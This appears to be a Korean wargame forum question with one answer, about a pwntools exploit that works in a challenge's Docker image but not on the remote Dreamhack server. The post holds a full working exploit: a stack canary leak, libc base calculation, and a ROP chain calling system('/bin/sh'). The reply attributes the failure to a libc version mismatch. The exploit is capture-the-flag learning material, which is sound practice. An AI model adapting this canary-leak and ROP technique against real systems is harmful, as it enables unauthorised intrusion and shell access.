완료됨
도커에선 되는데 왜 서버에서 안될까요!

문제 파일에서 제공된 Docker환경에서 익스플로잇은 잘 됩니다
일단 카나리 릭은 잘 되는 것 같은데 라이브러리가 도커랑 다른걸까요..
아래는 도커에서 이것저것 확인해본 것들입니다. 맨 밑에 코드 첨부되어있어요
image.png

image.png
image.png

from pwn import *

def enc(data):
    data = bytearray(data)  # 변경 가능한 형태로 변환
    for i in range(1, len(data)):
        data[i - 1] ^= data[i]
    return bytes(data)

def dec(data):
    data = bytearray(data)  # 변경 가능한 형태로 변환
    for i in range(len(data) - 1, 0, -1):  # 역순으로 연산
        data[i - 1] ^= data[i]
    return bytes(data)

# p = remote('localhost',8080)
p = remote('host3.dreamhack.games', 16230)

# cnry 획득
payload = b''
for i in range(1,0x1a,1):
    payload += chr(i).encode()
p.sendafter("Input: ",payload)
p.recvuntil(': ')
p.recvn(0x19)
cnry = b'\x00'+p.recvn(7)

# ret_addrlibc_base 획득
payload = b''
for i in range(1,0x29,1):
    payload += chr(i).encode()
p.sendafter('Input: ', payload)
p.recvuntil(': ')
p.recvn(0x28)
ret_addr = u64(p.recvn(0x6)+b'\x00\x00')

# ret_addr = __libc_start_call_main+128
# __libc_start_maincall_main+0xb0
# libstart_main은 0x29dc0
# lib 베이스 주소는 ret_addr-128+0xb0-0x29dc0
libc_base = ret_addr-128+0xb0-0x29dc0
system = 0x50d70 + libc_base
binsh = 0x1d8678 + libc_base
pop_rdi = 0x2a3e5 + libc_base
ret = 0x29139 + libc_base


payload = dec(b'exit\x00'.ljust(0x18,b'\x00') + cnry + b'12345678' + p64(pop_rdi) + p64(binsh) + p64(ret) + p64(system))
p.sendafter(": ",payload)
p.recvuntil(': ')

p.interactive()
#pwnable
작성자 정보
더 깊이 있는 답변이 필요할 때
드림핵 팀과 멘토에게 직접 문의해 보세요!
답변 1
c0met
.HACK 2025 참가자
c0met
.HACK 2025 참가자

libc 버전이 문제서버와 다릅니다!
도커에 python이나 gdb같은걸 설치하면 libc 버전이 바뀝니다.
이 점 유의하여 도커빌드하자마자 libc만 따로 빼와서 해보시는거 추천드립니다!

2025.03.17. 15:50